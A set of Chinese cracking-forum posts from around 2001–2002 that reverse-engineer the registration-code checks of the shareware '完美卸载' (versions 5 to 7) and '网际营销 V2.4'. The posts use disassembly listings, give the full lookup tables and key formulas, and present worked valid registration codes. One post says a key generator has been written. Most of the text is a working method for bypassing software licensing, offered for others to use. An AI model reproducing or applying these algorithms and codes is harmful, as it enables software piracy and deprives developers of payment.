:10003D1C 8B0C8594A10110 mov ecx, dword ptr [4*eax+1001A194]======>M4
:10003D23 2BD6 sub edx, esi
:10003D25 3BCA cmp ecx, edx===================>C4=M4[C5]+R3
:10003D27 0F85C7010000 jne 10003EF4
.....下面的，我没去看了..............
.....应该还有蹊跷,我没时间看啦！....注册器已经写好.....

标 题:我对完美卸载 6.0 的算法是这样理解的，不知是否与 DiKeN 兄的一致？ (7千字)
发信人:PaulYoung[CCG]
时 间:2002-2-28 13:43:46
详细信息:

完美卸载 6.0 算法分析

作者：PaulYoung[CCG]
日期：2002.02.28
************************************************************************************************

    其实完美卸载 6.0 的算法是在5.01的基础上扩展过来的，大致上差不多，都是用了查表的方法。

    为了叙述方便，我也用 R1,R2,R3,R4 分别指代预注册码的1,2,3,4段，用 C1,C2,C3,C4,C5 分别指代注册码的1,2,3,4,5段。

    C5 的取值范围是1－200（十进制）。
    [4*eax+1001AB30],[4*eax+1001A7FC],[4*eax+1001A4C8],[4*eax+1001A194] 分别是程序固定的四张表，每张表各含200个数据，如下：

[4*eax+1001AB30] 中的200个固定数据：

0x29EF 0x29F2 0x29F6
0x29F9 0x29FC 0x29FF 0x2A03
0x2A06 0x2A09 0x2A0C 0x2A10
0x2A13 0x2A16 0x2A19 0x2A1D
0x2A20 0x2A23 0x2A27 0x2A2A
0x2A2D 0x2A30 0x2A34 0x2A37
0x2A3D 0x2A41 0x2A44 0x2A47
0x2A4A 0x2A4E 0x2A51 0x2A54
0x2A58 0x2A5B 0x2A5E 0x2A61
0x2A65 0x2A68 0x2A6B 0x2A6E
0x2A72 0x2A75 0x2A78 0x2A7B
0x2A7F 0x2A82 0x2A85 0x2A88
0x2A8C 0x2A8F 0x2A92 0x2A96
0x2A99 0x2A9C 0x2A9F 0x2AA6
0x2AA9 0x2AAC 0x2AB0 0x2AB3
0x2AB6 0x2AB9 0x2ABD 0x2AC0
0x2AC3 0x2AC7 0x2ACA 0x2ACD
0x2AD0 0x2AD4 0x2AD7 0x2ADA
0x2ADD 0x2AE1 0x2AE4 0x2AE7
0x2AEE 0x2AF1 0x2AF4 0x2AF8
0x2AFB 0x2AFE 0x2B01 0x2B05
0x2B08 0x2B0B 0x2B0E 0x2B12
0x2B15 0x2B18 0x2B1B 0x2B1F
0x2B22 0x2B25 0x2B28 0x2B2C
0x2B2F 0x2B32 0x2B36 0x2B3C
0x2B3F 0x2B43 0x2B46 0x2B49
0x2B4C 0x2B50 0x2B53 0x2B56
0x2B59 0x2B5D 0x2B60 0x2B63
0x2B67 0x2B6A 0x2B6D 0x2B70
0x2B74 0x2B77 0x2B7A 0x2B7D
0x2B81 0x2B87 0x2B8A 0x2B8E
0x2B91 0x2B94 0x2B98 0x2B9B
0x2B9E 0x2BA1 0x2BA5 0x2BA8
0x2BAB 0x2BAE 0x2BB2 0x2BB5
0x2BB8 0x2BBB 0x2BBF 0x2BC2
0x2BC5 0x2BC9 0x2BCC 0x2BCF
0x2BD6 0x2BD9 0x2BDC 0x2BDF
0x2BE3 0x2BE6 0x2BE9 0x2BEC
0x2BF0 0x2BF3 0x2BF6 0x2BF9
0x2BFD 0x2C00 0x2C03 0x2C07
0x2C0A 0x2C0D 0x2C10 0x2C14
0x2C17 0x2C1A 0x2C21 0x2C24
0x2C27 0x2C2A 0x2C2E 0x2C31
0x2C34 0x2C38 0x2C3B 0x2C3E
0x2C41 0x2C45 0x2C48 0x2C4B
0x2C4E 0x2C52 0x2C55 0x2C58
0x2C5B 0x2C5F 0x2C62 0x2C65
0x2C69 0x2C6F 0x2C72 0x2C76
0x2C79 0x2C7C 0x2C7F 0x2C83
0x2C86 0x2C89 0x2C8C 0x2C90
0x2C93

[4*eax+1001A7FC] 表中的200个固定数据：

0x2347 0x4D43 0x7740
0x213C 0x4B38 0x7535 0x1F31
0x492E 0x732A 0x1D26 0x4723
0x711F 0x1B1C 0x4518 0x6F14
0x1911 0x430D 0x6D0A 0x1706
0x4102 0x6AFF 0x14FB 0x3EF8
0x12F0 0x3CED 0x66E9 0x10E6
0x3AE2 0x64DE 0x0EDB 0x38D7
0x62D4 0x0CD0 0x36CD 0x60C9
0x0AC5 0x34C2 0x5EBE 0x08BB
0x32B7 0x5CB3 0x06B0 0x30AC
0x5AA9 0x04A5 0x2EA1 0x589E
0x029A 0x2C97 0x5693 0x008F
0x2A8C 0x5488 0x7E85 0x527D
0x7C7A 0x2676 0x5073 0x7A6F
0x246B 0x4E68 0x7864 0x2261
0x4C5D 0x765A 0x2056 0x4A52
0x744F 0x1E4B 0x4848 0x7244
0x1C40 0x463D 0x7039 0x1A36
0x6E2E 0x182B 0x4227 0x6C24
0x1620 0x401C 0x6A19 0x1415
0x3E12 0x680E 0x120A 0x3C07
0x6603 0x1000 0x39FC 0x63F8
0x0DF5 0x37F1 0x61EE 0x0BEA
0x35E7 0x5FE3 0x09DF 0x5DD8
0x07D5 0x31D1 0x5BCD 0x05CA
0x2FC6 0x59C3 0x03BF 0x2DBB
0x57B8 0x01B4 0x2BB1 0x55AD
0x7FA9 0x29A6 0x53A2 0x7D9F
0x279B 0x5197 0x7B94 0x2590
0x4F8D 0x2386 0x4D82 0x777E
0x217B 0x4B77 0x7574 0x1F70
0x496C 0x7369 0x1D65 0x4762
0x715E 0x1B5A 0x4557 0x6F53
0x1950 0x434C 0x6D48 0x1745
0x4141 0x6B3E 0x153A 0x3F36
0x132F 0x3D2C 0x6728 0x1124
0x3B21 0x651D 0x0F1A 0x3916
0x6313 0x0D0F 0x370B 0x6108
0x0B04 0x3501 0x5EFD 0x08F9
0x32F6 0x5CF2 0x06EF 0x30EB
0x5AE7 0x04E4 0x58DD 0x02D9
0x2CD5 0x56D2 0x00CE 0x2ACB
0x54C7 0x7EC3 0x28C0 0x52BC
0x7CB9 0x26B5 0x50B1 0x7AAE
0x24AA 0x4EA7 0x78A3 0x22A0
0x4C9C 0x7698 0x2095 0x4A91
0x748E 0x4886 0x7283 0x1C7F
0x467C 0x7078 0x1A74 0x4471
0x6E6D 0x186A 0x4266 0x6C62
0x165F

[4*eax+1001A4C8] 表中的200个固定数据：

0x1C58 0x6220 0x27E8
0x6DB1 0x3379 0x7941 0x3F09
0x04D1 0x4A99 0x1062 0x562A
0x1BF2 0x61BA 0x2782 0x6D4A
0x3313 0x78DB 0x3EA3 0x046B
0x4A33 0x0FFB 0x55C4 0x1B8C
0x271C 0x6CE4 0x32AC 0x7875
0x3E3D 0x0405 0x49CD 0x0F95
0x555E 0x1B26 0x60EE 0x26B6
0x6C7E 0x3246 0x780F 0x3DD7
0x039F 0x4967 0x0F2F 0x54F7
0x1AC0 0x6088 0x2650 0x6C18
0x31E0 0x77A8 0x3D71 0x0339
0x4901 0x0EC9 0x5491 0x6022
0x25EA 0x6BB2 0x317A 0x7742
0x3D0A 0x02D3 0x489B 0x0E63
0x542B 0x19F3 0x5FBC 0x2584
0x6B4C 0x3114 0x76DC 0x3CA4
0x026D 0x4835 0x0DFD 0x53C5
0x5F55 0x251E 0x6AE6 0x30AE
0x7676 0x3C3E 0x0206 0x47CF
0x0D97 0x535F 0x1927 0x5EEF
0x24B7 0x6A80 0x3048 0x7610
0x3BD8 0x01A0 0x4768 0x0D31
0x52F9 0x18C1 0x5E89 0x6A1A
0x2FE2 0x75AA 0x3B72 0x013A
0x4702 0x0CCB 0x5293 0x185B
0x5E23 0x23EB 0x69B3 0x2F7C
0x7544 0x3B0C 0x00D4 0x469C
0x0C64 0x522D 0x17F5 0x5DBD
0x2385 0x2F15 0x74DE 0x3AA6
0x006E 0x4636 0x0BFE 0x51C6
0x178F 0x5D57 0x231F 0x68E7
0x2EAF 0x7478 0x3A40 0x0008
0x45D0 0x0B98 0x5160 0x1729
0x5CF1 0x22B9 0x6881 0x2E49
0x39DA 0x7FA2 0x456A 0x0B32
0x50FA 0x16C2 0x5C8B 0x2253
0x681B 0x2DE3 0x73AB 0x3973
0x7F3C 0x4504 0x0ACC 0x5094
0x165C 0x5C24 0x21ED 0x67B5
0x2D7D 0x7345 0x7ED6 0x449E
0x0A66 0x502E 0x15F6 0x5BBE
0x2187 0x674F 0x2D17 0x72DF
0x38A7 0x7E6F 0x4438 0x0A00
0x4FC8 0x1590 0x5B58 0x2120
0x66E9 0x2CB1 0x7279 0x3841
0x7E09 0x099A 0x4F62 0x152A
0x5AF2 0x20BA 0x6682 0x2C4B
0x7213 0x37DB 0x7DA3 0x436B
0x0934

[4*eax+1001A194] 表中的200个固定数据：

0x428B 0x208A 0x7E89
0x5C89 0x3A88 0x1887 0x7687
0x5486 0x3285 0x1085 0x6E84
0x4C83 0x2A83 0x0882 0x6681
0x4480 0x2280 0x007F 0x5E7E
0x3C7E 0x1A7D 0x787C 0x567C
0x127A 0x707A 0x4E79 0x2C78
0x0A78 0x6877 0x4676 0x2476
0x0275 0x6074 0x3E73 0x1C73
0x7A72 0x5871 0x3671 0x1470
0x726F 0x506F 0x2E6E 0x0C6D
0x6A6D 0x486C 0x266B 0x046B
0x626A 0x4069 0x1E68 0x7C68
0x5A67 0x3866 0x1666 0x5264
0x3064 0x0E63 0x6C62 0x4A62
0x2861 0x0660 0x6460 0x425F
0x205E 0x7E5D 0x5C5D 0x3A5C
0x185B 0x765B 0x545A 0x3259
0x1059 0x6E58 0x4C57 0x2A57
0x6655 0x4455 0x2254 0x0053
0x5E53 0x3C52 0x1A51 0x7850
0x5650 0x344F 0x124E 0x704E
0x4E4D 0x2C4C 0x0A4C 0x684B
0x464A 0x244A 0x0249 0x6048
0x3E48 0x1C47 0x7A46 0x3645
0x1444 0x7243 0x5043 0x2E42
0x0C41 0x6A41 0x4840 0x263F
0x043F 0x623E 0x403D 0x1E3D
0x7C3C 0x5A3B 0x383B 0x163A
0x7439 0x5238 0x3038 0x0E37
0x6C36 0x2835 0x0634 0x6434
0x4233 0x2032 0x7E32 0x5C31
0x3A30 0x1830 0x762F 0x542E
0x322D 0x102D 0x6E2C 0x4C2B
0x2A2B 0x082A 0x6629 0x4429
0x2228 0x0027 0x5E27 0x3C26
0x7825 0x5624 0x3423 0x1222
0x7022 0x4E21 0x2C20 0x0A20
0x681F 0x461E 0x241E 0x021D
0x601C 0x3E1C 0x1C1B 0x7A1A
0x581A 0x3619 0x1418 0x7218
0x5017 0x2E16 0x6A15 0x4814
0x2613 0x0413 0x6212 0x4011
0x1E11 0x7C10 0x5A0F 0x380F
0x160E 0x740D 0x520D 0x300C
0x0E0B 0x6C0A 0x4A0A 0x2809
0x0608 0x6408 0x4207 0x2006
0x7E06 0x3A04 0x1804 0x7603
0x5402 0x3202 0x1001 0x6E00
0x4BFF 0x29FF 0x07FE 0x65FD
0x43FD

软件以 C5 作为查表指针，即 C5 的值是多少，就分别取这四张表中的第几个数据。

    例如，当 C5 为200时，则分别取上面四张表的第200个数据，即

0x2C93，即10进制的11411，设为M1
0x165F，即10进制的5727 ，设为M2
0x0934，即10进制的2356 ，设为M3
0x43FD，即10进制的17405，设为M4

    C1=M1+R2,C2=M2+R1,C3=M3+R4,C4=M4+R3

    如我的预注册码为：5269-2047-514-42533，则

    C1=11411+2047=13458
C2= 5727+5269=10996
C3=2356+42533=44889
C4= 17405+514=17919

    即注册码为 13458-10996-44889-17919-200

    用户名与注册码无关，每个预注册码有200个可用的正确注册码。

    如有错误之处，还请各位大虾批评指正！


完美卸载7.00

 标 题:完美卸载7.00版破解 (7千字)
发信人:zwlzwl
时 间:2002-3-18 17:07:14
详细信息:
目标：完美卸载7.00版破解
工具：trw2000 , pw32dasm8.93
破文作者：zwlzwl（信箱：tsgmx@21cn.com)

软件主要功能简介：本软件主要两大功能，
一是安装/卸载软件，可以做到软件安装卸载无垃圾；
二是电脑垃圾清理，可以清理数十种垃圾保持系统清洁。
本软件包含三个执行文件：SetupMonitor.exe 软件安装监视器；SoftUninstall.exe 软件卸载工具；WjfClean.exe 垃圾清理工具。
未注册用户将可以卸载60个软件和100次垃圾清理。

安装好程序后启动软件卸载工具（SoftUninstall.exe)，点“关于”按钮：有关本软件的版权说明，注册用户可以从此处输入注册码进行注册。
我输入了

name: zwlzwl
code: 11111-22222-33333-44444-1
(第5个注册栏即最后的一个注册栏填入的数字这里一定不能大于200，否则出错，后面我们会在程序里说明）
点注册，提示注册码错误或一码多用
“或一码多用”这句话说明软件注册码是和硬件有关的，是一机一码的。
我们退出程序，运行pw32dasm8.93把SoftUninstall.exe反汇编
从串式参考中我们可看到：“序列号输入错误或试图一码多用”
用鼠标对着这句话双击，来到
* Possible StringData Ref from Data Obj ->"序列号输入错误或试图一码多用!"
|
:00408642 6880064500 push 00450680
:00408647 EB09 jmp 00408652

从这里我们向上看看是哪个关键的跳能跳过这个出错提示
很容易找到下面代码，下面就和我一起来分析这个些代码吧

:00408601 52 push edx
:00408602 E841BA0100 call 00424048
:00408607 83C414 add esp, 00000014
:0040860A 85C0 test eax, eax <-比较最后一个注册栏填入的数字，如小于等于0就跳到出错
:0040860C 7E3B jle 00408649 <-不能跳，一跳就错
:0040860E 3DC8000000 cmp eax, 000000C8<-比较最后一个注册栏填入的数字，大于200就跳到出错
:00408613 7F34 jg 00408649<-不能跳，一跳就错
:00408615 8B542414 mov edx, dword ptr [esp+14]
:00408619 8D4C2410 lea ecx, dword ptr [esp+10]
:0040861D 51 push ecx <-以下几条命令是把我们填入的注册码压入堆，在下面的CALL里比较
:0040861E 50 push eax
:0040861F 52 push edx
:00408620 55 push ebp
:00408621 53 push ebx
:00408622 57 push edi
:00408623 E8080B0100 call 00419130 <-比较注册码的呼叫
:00408628 83C418 add esp, 00000018
:0040862B 84C0 test al, al <-上面的CALL的出口参数，如注册码正确那么al不等于0
:0040862D 6A30 push 00000030
:0040862F 740C je 0040863D <-如al等于0就跳到出错提示

* Possible StringData Ref from Data Obj ->"注册成功"
|
:00408631 6888074500 push 00450788

* Possible StringData Ref from Data Obj ->"感谢您的支持与厚爱,在您的支持下我会开发出更好?
->"娜砑?

如软件变动造成您的注册码不能注册，您"
->"可以凭您的姓名、申请码、详细资料来免费升级本软"
->"件！

软件自动升级功能：只需下载最新版本，软件"
->"自动识别注册信息！

请新启动本软件！"
|
:00408636 68A8064500 push 004506A8
:0040863B EB15 jmp 00408652

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040862F(C)
|

* Possible StringData Ref from Data Obj ->"错误"
|
:0040863D 68A0064500 push 004506A0

* Possible StringData Ref from Data Obj ->"序列号输入错误或试图一码多用!"
|
:00408642 6880064500 push 00450680
:00408647 EB09 jmp 00408652

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040860C(C), :00408613(C)
|
:00408649 6A00 push 00000000
:0040864B 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"序列号输入错误!"
|
:0040864D 6870064500 push 00450670

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040863B(U), :00408647(U)
|
:00408652 8BCE mov ecx, esi
:00408654 E83ACF0200 call 00435593
:00408659 8D4C2410 lea ecx, dword ptr [esp+10]
:0040865D C78424C0000000FFFFFFFF mov dword ptr [esp+000000C0], FFFFFFFF
:00408668 E82CEB0200 call 00437199

从上面知道比较注册码是在00408623 E8080B0100 call 00419130 里面
所以我们进入这个CALL看看
来到下面的关键比较跳跃中
请大家跟我一起来分析程序检测注册码的核心

:0041B810 C7054043450034090000 mov dword ptr [00454340], 00000934
:0041B81A C7050C404500FD430000 mov dword ptr [0045400C], 000043FD
:0041B824 C705D83C4500C8000000 mov dword ptr [00453CD8], 000000C8
:0041B82E E8EDD2FFFF call 00418B20
:0041B833 8B8424C4020000 mov eax, dword ptr [esp+000002C4]
:0041B83A 8B8C24B4020000 mov ecx, dword ptr [esp+000002B4]<-把第一个注册栏的值送到ECX（我的为10进制的11111）
:0041B841 8B6C242C mov ebp, dword ptr [esp+2C]<-把第一个硬件号的值送到EBP（我的为10进制的1999，每台机都不同的）
:0041B845 83C410 add esp, 00000010
:0041B848 8B148588464500 mov edx, dword ptr [4*eax+00454688]<-取出根据硬件号算出的代码下面用到的比较值（我的为十进制的10735）
:0041B84F 2BCD sub ecx, ebp <-把我们输入的第一个注册码减去第一硬件号并送会给ECX
:0041B851 3BD1 cmp edx, ecx <-比较 上面取出的和硬件有关的EDX值，和上面相减后得到的代码
:0041B853 0F851B020000 jne 0041BA74 <-不相等就跳到错误的代码里面去。

从上面分析我们可得到第一个注册码只需要等于（edx+ebp）就正确了
我的第一个注册码为：（10735+1999）=12734
下面是第二个注册码到第四个注册码的计算过程，大致上和上面第一个的差不多我就不再写了

:0041B859 8B9424A8020000 mov edx, dword ptr [esp+000002A8]
:0041B860 8B742418 mov esi, dword ptr [esp+18]
:0041B864 8B0C8554434500 mov ecx, dword ptr [4*eax+00454354]
:0041B86B 2BD6 sub edx, esi
:0041B86D 3BCA cmp ecx, edx<--第二个注册码比较核心
:0041B86F 0F85FF010000 jne 0041BA74
:0041B875 8B8C24AC020000 mov ecx, dword ptr [esp+000002AC]
:0041B87C 8B742410 mov esi, dword ptr [esp+10]
:0041B880 8B148520404500 mov edx, dword ptr [4*eax+00454020]
:0041B887 2BCE sub ecx, esi
:0041B889 3BD1 cmp edx, ecx
:0041B88B 0F85E3010000 jne 0041BA74<--第三个注册码比较核心
:0041B891 8B9424B0020000 mov edx, dword ptr [esp+000002B0]
:0041B898 8B742414 mov esi, dword ptr [esp+14]
:0041B89C 8B0C85EC3C4500 mov ecx, dword ptr [4*eax+00453CEC]
:0041B8A3 2BD6 sub edx, esi
:0041B8A5 3BCA cmp ecx, edx<--第四个注册码比较核心
:0041B8A7 0F85C7010000 jne 0041BA74
:0041B8AD 8B8424B8020000 mov eax, dword ptr [esp+000002B8]
:0041B8B4 83C9FF or ecx, FFFFFFFF
:0041B8B7 8D542420 lea edx, dword ptr [esp+20]
:0041B8BB B363 mov bl, 63
:0041B8BD 8B38 mov edi, dword ptr [eax]
:0041B8BF 33C0 xor eax, eax
:0041B8C1 F2 repnz
:0041B8C2 AE scasb
:0041B8C3 F7D1 not ecx
:0041B8C5 2BF9 sub edi, ecx

我的申请注册码为：4461/1996/622/48353（这个是要象作者报告的号码）

经过以上分析我们可找到正确的注册码了
我的为

name: zwlzwl(姓名名可任意填）
code: 12734-12753-37318-17657-1(这个注册码只有我的机器好用的，每台机器不同的，请大家不要使用）

欢迎大家来信和我交流，转载请保持完整。
我的信箱：tsgmx@21cn.com


完美卸载软件

 标 题:搞了一个很傻冒的软件~~大家看看有错没？ (4千字)
发信人:LILITH[CNCG]
时 间:2001-12-20 21:47:08
详细信息:
完美卸载软件“完美”注册！

[作 者]：LILITH[CNCG]
[时 间]：2001-12-20
[软 件]：完美卸载软件
[软件简介]：本软件主要两大功能，一是安装/卸载软件，可以做到软件安装卸载无垃圾；二是电脑垃圾清理，可以清理数十种垃圾保持系统清洁。本软件包含三个执行文件：SetupMonitor.exe 软件安装监视器；SoftUninstall.exe 软件卸载工具；WjfClean.exe 垃圾清理工具。未注册用户将可以卸载60个软件和100次垃圾清理。
[下 载]：http://download.21cn.com/file/utility/xiezai/Coolcln.zip
[保护方式]：注册码，未注册用户将可以卸载60个软件和100次垃圾清理。
[破解工具]：trw2000

+++++++++++++++++++++++++++++++++++++++++++++++++

本来不想贴，但实在太有趣了，忍不住贴了出来~~另一种经典注册码验证方式！GO！

这个软件注册码采用了分节方式，共有五段注册框，不管它，分别填"11111","1212","1313","1414","1515"
后下bpx hmemcpy，确定后下pmodule，F12两下出错，所以按一下便可，来到……

0177:00409482 LEA EDI,[ESP+14]
0177:00409486 OR ECX,BYTE -01
0177:00409489 XOR EAX,EAX
0177:0040948B REPNE SCASB
0177:0040948D NOT ECX
0177:0040948F DEC ECX
0177:00409490 JNZ 004094A3
0177:00409492 PUSH BYTE +30
0177:00409494 PUSH DWORD 00445740
0177:00409499 PUSH DWORD 00445730
0177:0040949E JMP 00409743
0177:004094A3 LEA ECX,[ESP+A4]
0177:004094AA PUSH BYTE +1E
0177:004094AC PUSH ECX
0177:004094AD PUSH DWORD 03FD
0177:004094B2 MOV ECX,EBP
0177:004094B4 CALL 0042D14C
0177:004094B9 LEA EDX,[ESP+C4]
0177:004094C0 PUSH BYTE +1E
0177:004094C2 PUSH EDX
0177:004094C3 PUSH DWORD 03FE
0177:004094C8 MOV ECX,EBP
0177:004094CA CALL 0042D14C
0177:004094CF LEA EAX,[ESP+64]
0177:004094D3 PUSH BYTE +1E
0177:004094D5 PUSH EAX
0177:004094D6 PUSH DWORD 03FF
0177:004094DB MOV ECX,EBP
0177:004094DD CALL 0042D14C
0177:004094E2 LEA ECX,[ESP+E4]
0177:004094E9 PUSH BYTE +1E
0177:004094EB PUSH ECX
0177:004094EC PUSH DWORD 0400
0177:004094F1 MOV ECX,EBP
0177:004094F3 CALL 0042D14C
0177:004094F8 LEA EDX,[ESP+84]
0177:004094FF PUSH BYTE +1E
0177:00409501 PUSH EDX
0177:00409502 PUSH DWORD 0401
0177:00409507 MOV ECX,EBP
0177:00409509 CALL 0042D14C 　 //取注册码第一节，即"11111"
0177:0040950E LEA EAX,[ESP+A4]
0177:00409515 PUSH EAX
0177:00409516 CALL 0041ACA3
0177:0040951B LEA ECX,[ESP+C8]
0177:00409522 MOV ESI,EAX //将11111的十六进制值传到esi
0177:00409524 PUSH ECX //ecx入栈存放第二节"1212"
0177:00409525 CALL 0041ACA3
0177:0040952A LEA EDX,[ESP+6C]
0177:0040952E MOV EDI,EAX //"1212"存到edi
0177:00409530 PUSH EDX
0177:00409531 CALL 0041ACA3 //取注册码第三节"1313"并存到eax
0177:00409536 MOV EBX,EAX //"1313"十六进制值传到ebx
0177:00409538 LEA EAX,[ESP+F0]
0177:0040953F PUSH EAX //注册码第四节"1414"字符入栈
0177:00409540 CALL 0041ACA3 //十六进制值存到eax
0177:00409545 LEA ECX,[ESP+94]
0177:0040954C MOV [ESP+20],EAX
0177:00409550 PUSH ECX //注册码第五节"1515"字符入栈
0177:00409551 CALL 0041ACA3
0177:00409556 ADD ESP,BYTE +14
0177:00409559 CMP EAX,BYTE +64 //比较第五节是否为64，转为十进制则是"100"
0177:0040955C JG NEAR 0040973A//不是则跳，出错
0177:00409562 TEST EAX,EAX
0177:00409564 JNG NEAR 0040973A
0177:0040956A CMP ESI,[EAX*4+0044920C] //比较第一节的值是否为"6346"
0177:00409571 JNZ NEAR 00409731
0177:00409577 CMP EDI,[EAX*4+00448FB4] //比较第一节的值是否为"29004"
0177:0040957E JNZ NEAR 00409731
0177:00409584 CMP EBX,[EAX*4+00448D5C] //比较第一节的值是否为"15010"
0177:0040958B JNZ NEAR 00409731
0177:00409591 MOV EDX,[ESP+10]
0177:00409595 MOV ECX,[EAX*4+00448B04] //比较第一节的值是否为"17985"
0177:0040959C CMP EDX,ECX
0177:0040959E JNZ NEAR 00409731

总结：这个程序的注册验证比较有趣，首先分别输入五节注册码，依次取它的值后，首先验证第五位是否为"100"，如不是则直接跳过下面验证出现注册失败。然后依次验证各位注册码的值，用？命令即可看到，如我看到的则是：6346　29004　15010　17985　100　，将它们串成一串就是注册码了！和用户名好像无关。
呵不知这个是不是通用注册码，各路高人帮忙看看，小弟感激不尽，呵呵……


网际营销 V2.4

 标 题:〖网际营销〗V2.4 注册算法分析 (11千字)
发信人:paulyoung
时 间:2001-11-3 23:12:26
详细信息:
〖网际营销〗V2.4 注册算法分析

作者：PaulYoung （属于 China Cracking Group ）
软件：网际营销 V2.4
下载：http://www.shd.com.cn/software/download_js.asp?id=18 ( 1668 KB )
简介：帮助您发布供求信息、宣传网站、推广产品、寻找客户，让您利用互联网非常简便地做成生意。
加密：一机一码
工具：SoftICE 4.05 334
日期：2001.11.03
_________________________________________________________________________________________________

    本软件注册码是　XXXX-XXXX-XXXX-XXXX 格式，序列号的位数是不固定的。

填入假注册码，如"ABCD-EFGH-IJKL-MNOP"后，用 SoftICE 下断点 bpx hmemcpy , 中断后按 F12 12下（13次出错），F10单步跟踪……

:005066AE 8B45F4 mov eax, dword ptr [ebp-0C]
:005066B1 8D55F8 lea edx, dword ptr [ebp-08]
:005066B4 E89337F0FF call 00409E4C
:005066B9 8D45FC lea eax, dword ptr [ebp-04]
:005066BC E8BFD8EFFF call 00403F80
:005066C1 BB01000000 mov ebx, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005066ED(C)
|
:005066C6 8BFB mov edi, ebx
:005066C8 03FF add edi, edi
:005066CA 4F dec edi
:005066CB 8D45F0 lea eax, dword ptr [ebp-10]
:005066CE 50 push eax
:005066CF B901000000 mov ecx, 00000001
:005066D4 8BD7 mov edx, edi
:005066D6 8B45F8 mov eax, dword ptr [ebp-08] //把序列号保存到EAX
:005066D9 E82ADDEFFF call 00404408
:005066DE 8B55F0 mov edx, dword ptr [ebp-10] //取出序列号第1位
:005066E1 8D45FC lea eax, dword ptr [ebp-04]
:005066E4 E81FDBEFFF call 00404208
:005066E9 43 inc ebx　　　　　　　　　　　//EBX这个变量记录循环次数
:005066EA 83FB05 cmp ebx, 00000005　　　　　　//EBX等于5吗
:005066ED 75D7 jne 005066C6　　　　　　　　//不等则继续循环取序列号3,5,7位
:005066EF 8D45EC lea eax, dword ptr [ebp-14]
:005066F2 50 push eax
:005066F3 B904000000 mov ecx, 00000004
:005066F8 BA01000000 mov edx, 00000001
:005066FD 8B45FC mov eax, dword ptr [ebp-04]
:00506700 E803DDEFFF call 00404408 //把序列号的1,3,5,7位重新排列成串
:00506705 8B45EC mov eax, dword ptr [ebp-14]
:00506708 50 push eax
:00506709 8D45E4 lea eax, dword ptr [ebp-1C]
:0050670C 50 push eax
:0050670D 8D55E0 lea edx, dword ptr [ebp-20]
:00506710 8B8610030000 mov eax, dword ptr [esi+00000310]
:00506716 E82DFBF2FF call 00436248
:0050671B 8B45E0 mov eax, dword ptr [ebp-20]
:0050671E B901000000 mov ecx, 00000001
:00506723 BA01000000 mov edx, 00000001
:00506728 E8DBDCEFFF call 00404408
:0050672D FF75E4 push [ebp-1C]
:00506730 8D45DC lea eax, dword ptr [ebp-24]
:00506733 50 push eax
:00506734 8D55D8 lea edx, dword ptr [ebp-28]
:00506737 8B8608030000 mov eax, dword ptr [esi+00000308]
:0050673D E806FBF2FF call 00436248
:00506742 8B45D8 mov eax, dword ptr [ebp-28]
:00506745 B901000000 mov ecx, 00000001
:0050674A BA02000000 mov edx, 00000002
:0050674F E8B4DCEFFF call 00404408
:00506754 FF75DC push [ebp-24]
:00506757 8D45D4 lea eax, dword ptr [ebp-2C]
:0050675A 50 push eax
:0050675B 8D55D0 lea edx, dword ptr [ebp-30]
:0050675E 8B8604030000 mov eax, dword ptr [esi+00000304]
:00506764 E8DFFAF2FF call 00436248
:00506769 8B45D0 mov eax, dword ptr [ebp-30]
:0050676C B901000000 mov ecx, 00000001
:00506771 BA03000000 mov edx, 00000003
:00506776 E88DDCEFFF call 00404408
:0050677B FF75D4 push [ebp-2C]
:0050677E 8D45CC lea eax, dword ptr [ebp-34]
:00506781 50 push eax
:00506782 8D55C8 lea edx, dword ptr [ebp-38]
:00506785 8B86F8020000 mov eax, dword ptr [esi+000002F8]
:0050678B E8B8FAF2FF call 00436248
:00506790 8B45C8 mov eax, dword ptr [ebp-38]
:00506793 B901000000 mov ecx, 00000001
:00506798 BA04000000 mov edx, 00000004
:0050679D E866DCEFFF call 00404408
:005067A2 FF75CC push [ebp-34]
:005067A5 8D45E8 lea eax, dword ptr [ebp-18]
:005067A8 BA04000000 mov edx, 00000004
:005067AD E80EDBEFFF call 004042C0
:005067B2 8B55E8 mov edx, dword ptr [ebp-18]
:005067B5 58 pop eax
:005067B6 E855DBEFFF call 00404310 //把序列号1,3,5,7位排列而成的数与 "AFKP" 比较
:005067BB 0F854A010000 jne 0050690B //不等则跳，跳则出错
:005067C1 8D45C4 lea eax, dword ptr [ebp-3C]
:005067C4 50 push eax
:005067C5 8D55C0 lea edx, dword ptr [ebp-40]
:005067C8 8B8610030000 mov eax, dword ptr [esi+00000310]
:005067CE E875FAF2FF call 00436248
:005067D3 8B45C0 mov eax, dword ptr [ebp-40]
:005067D6 B901000000 mov ecx, 00000001
:005067DB BA04000000 mov edx, 00000004
:005067E0 E823DCEFFF call 00404408
:005067E5 8B45C4 mov eax, dword ptr [ebp-3C]
:005067E8 50 push eax
:005067E9 8D45BC lea eax, dword ptr [ebp-44]
:005067EC 50 push eax
:005067ED 8B45F8 mov eax, dword ptr [ebp-08]
:005067F0 E80BDAEFFF call 00404200
:005067F5 8BD0 mov edx, eax
:005067F7 83EA03 sub edx, 00000003
:005067FA B901000000 mov ecx, 00000001
:005067FF 8B45F8 mov eax, dword ptr [ebp-08]
:00506802 E801DCEFFF call 00404408
:00506807 8B55BC mov edx, dword ptr [ebp-44]
:0050680A 58 pop eax
:0050680B E800DBEFFF call 00404310 //序列号倒数第 4 位等于 "D" 吗
:00506810 0F85F5000000 jne 0050690B　　　　　//不等则错
:00506816 8D45B8 lea eax, dword ptr [ebp-48]
:00506819 50 push eax
:0050681A 8D55B4 lea edx, dword ptr [ebp-4C]
:0050681D 8B8608030000 mov eax, dword ptr [esi+00000308]
:00506823 E820FAF2FF call 00436248
:00506828 8B45B4 mov eax, dword ptr [ebp-4C]
:0050682B B901000000 mov ecx, 00000001
:00506830 BA03000000 mov edx, 00000003
:00506835 E8CEDBEFFF call 00404408
:0050683A 8B45B8 mov eax, dword ptr [ebp-48]
:0050683D 50 push eax
:0050683E 8D45B0 lea eax, dword ptr [ebp-50]
:00506841 50 push eax
:00506842 8B45F8 mov eax, dword ptr [ebp-08]
:00506845 E8B6D9EFFF call 00404200
:0050684A 8BD0 mov edx, eax
:0050684C 83EA02 sub edx, 00000002
:0050684F B901000000 mov ecx, 00000001
:00506854 8B45F8 mov eax, dword ptr [ebp-08]
